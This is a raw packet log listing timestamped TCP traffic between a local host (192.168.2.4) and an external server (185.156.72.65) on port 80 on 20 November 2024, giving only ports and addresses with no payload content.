Nov 20, 2024 05:02:20.517913103 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.517923117 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.517934084 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.517944098 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.517950058 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:20.517952919 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.517972946 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:20.517982006 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.517991066 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:20.517992020 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.518002033 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.518012047 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:20.518013954 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.518024921 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.518035889 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:20.518050909 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.518054962 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:20.518066883 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.518076897 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.518088102 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:20.518094063 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.518105030 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.518110037 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.518117905 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:20.518121958 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.518132925 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.518135071 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:20.518145084 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.518146992 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:20.518155098 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.518167019 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.518172979 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:20.518176079 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.518188953 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.518198967 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:20.518198967 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.518208027 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:20.518209934 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.518222094 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.518230915 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.518234015 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:20.518241882 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.518256903 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:20.518263102 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.518277884 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.518287897 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.518299103 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:20.518300056 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:20.518322945 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:20.518637896 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.518649101 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.518666029 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.518687010 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:20.518687010 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:20.518690109 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.518703938 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.518709898 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:20.518712997 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.518717051 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:20.518723965 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.518733978 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.518743038 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:20.518743992 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.518752098 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:20.518767118 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:20.518793106 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:20.520786047 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.520829916 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:20.520862103 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.520872116 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.520881891 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.520889997 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.520898104 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:20.520932913 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:20.737880945 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.737931967 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:20.832849979 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:20.833014965 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:20.837816954 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.837827921 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.837838888 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.837878942 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:20.837910891 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:20.837977886 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.837989092 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.838000059 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.838011026 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.838021994 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.838026047 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:20.838032961 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.838040113 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.838048935 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:20.838049889 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.838066101 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:20.838108063 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:20.838128090 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.838144064 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.838152885 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.838164091 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.838170052 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:20.838174105 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.838184118 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.838195086 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.838207006 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.838212967 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:20.838212967 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:20.838216066 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.838227987 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.838238001 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.838238955 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:20.838252068 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.838258028 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:20.838264942 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.838277102 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:20.838295937 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.838295937 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:20.838311911 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:20.838315964 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.838325977 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.838334084 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:20.838336945 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.838346004 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.838351011 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:20.838356972 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.838373899 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.838376045 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:20.838383913 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.838392019 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:20.838393927 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.838403940 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.838413954 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.838428020 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:20.838435888 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.838444948 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:20.838452101 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.838464975 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:20.838473082 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.838479996 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:20.838484049 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.838493109 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.838501930 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:20.838505030 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.838515043 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.838519096 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:20.838526011 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.838536978 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.838546038 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.838547945 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:20.838556051 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.838563919 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:20.838566065 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.838574886 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.838583946 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:20.838583946 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.838596106 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.838601112 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:20.838606119 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.838618040 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.838619947 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:20.838629961 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.838637114 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:20.838649035 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.838659048 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.838669062 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.838677883 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:20.838677883 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:20.838680029 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.838690996 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.838701963 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.838701963 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:20.838712931 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.838722944 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.838733912 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.838742971 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.838746071 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:20.838746071 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:20.838752985 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.838764906 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.838776112 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.838778019 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:20.838787079 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.838814974 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.838820934 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:20.838820934 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:20.838825941 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.838835955 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.838843107 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:20.838846922 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.838856936 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.838860035 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:20.838866949 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.838876963 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.838887930 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.838896990 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.838905096 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:20.838905096 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:20.838907957 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.838918924 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.838926077 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:20.838929892 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.838941097 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.838946104 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:20.838951111 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.838964939 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:20.838968992 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.838979959 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.838989019 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:20.839000940 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.839005947 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.839008093 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:20.839015961 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.839025974 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.839030981 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:20.839036942 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.839049101 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.839057922 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.839063883 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:20.839066982 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.839077950 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.839087009 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.839090109 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:20.839090109 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:20.839098930 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.839107990 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:20.839109898 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.839119911 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.839126110 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:20.839129925 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.839140892 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.839162111 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:20.839163065 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.839174032 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.839180946 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:20.839184046 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.839195967 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.839200974 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:20.839205980 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.839222908 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:20.839226007 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.839236975 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.839247942 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.839257956 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.839266062 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:20.839267015 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:20.839268923 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.839281082 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.839289904 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:20.839292049 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.839334965 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:20.839334965 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:20.839335918 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.839349031 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.839358091 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.839369059 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.839380026 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.839389086 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.839396000 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:20.839396000 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:20.839399099 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.839396000 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:20.839410067 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.839418888 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.839426041 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:20.839430094 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.839440107 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.839443922 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:20.839451075 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.839461088 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.839463949 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:20.839472055 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.839478016 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:20.839502096 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:20.839508057 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.839519024 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.839526892 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:20.839529037 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.839540005 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.839549065 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.839550972 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:20.839559078 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.839570045 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.839580059 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.839581013 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:20.839591026 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.839598894 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:20.839601040 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.839612007 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.839617968 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:20.839622021 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.839631081 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.839634895 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:20.839641094 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.839662075 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.839678049 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.839680910 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:20.839680910 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:20.839689970 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.839700937 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.839701891 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:20.839710951 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.839720964 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:20.839723110 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.839728117 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.839739084 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.839739084 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:20.839747906 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.839757919 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.839767933 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.839767933 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:20.839776039 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.839786053 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.839787960 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:20.839797020 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.839808941 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.839812994 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:20.839812994 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:20.839828014 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.839834929 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:20.839847088 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.839859962 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.839868069 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:20.839869022 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.839879990 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.839884996 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:20.839890957 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.839900970 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.839909077 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.839914083 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:20.839919090 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.839930058 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.839932919 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:20.839940071 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.839948893 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:20.839952946 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.839962959 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.839966059 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:20.839973927 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.839984894 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:20.839984894 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.840007067 CET	80	49730	185.156.72.65	192.168.2.4
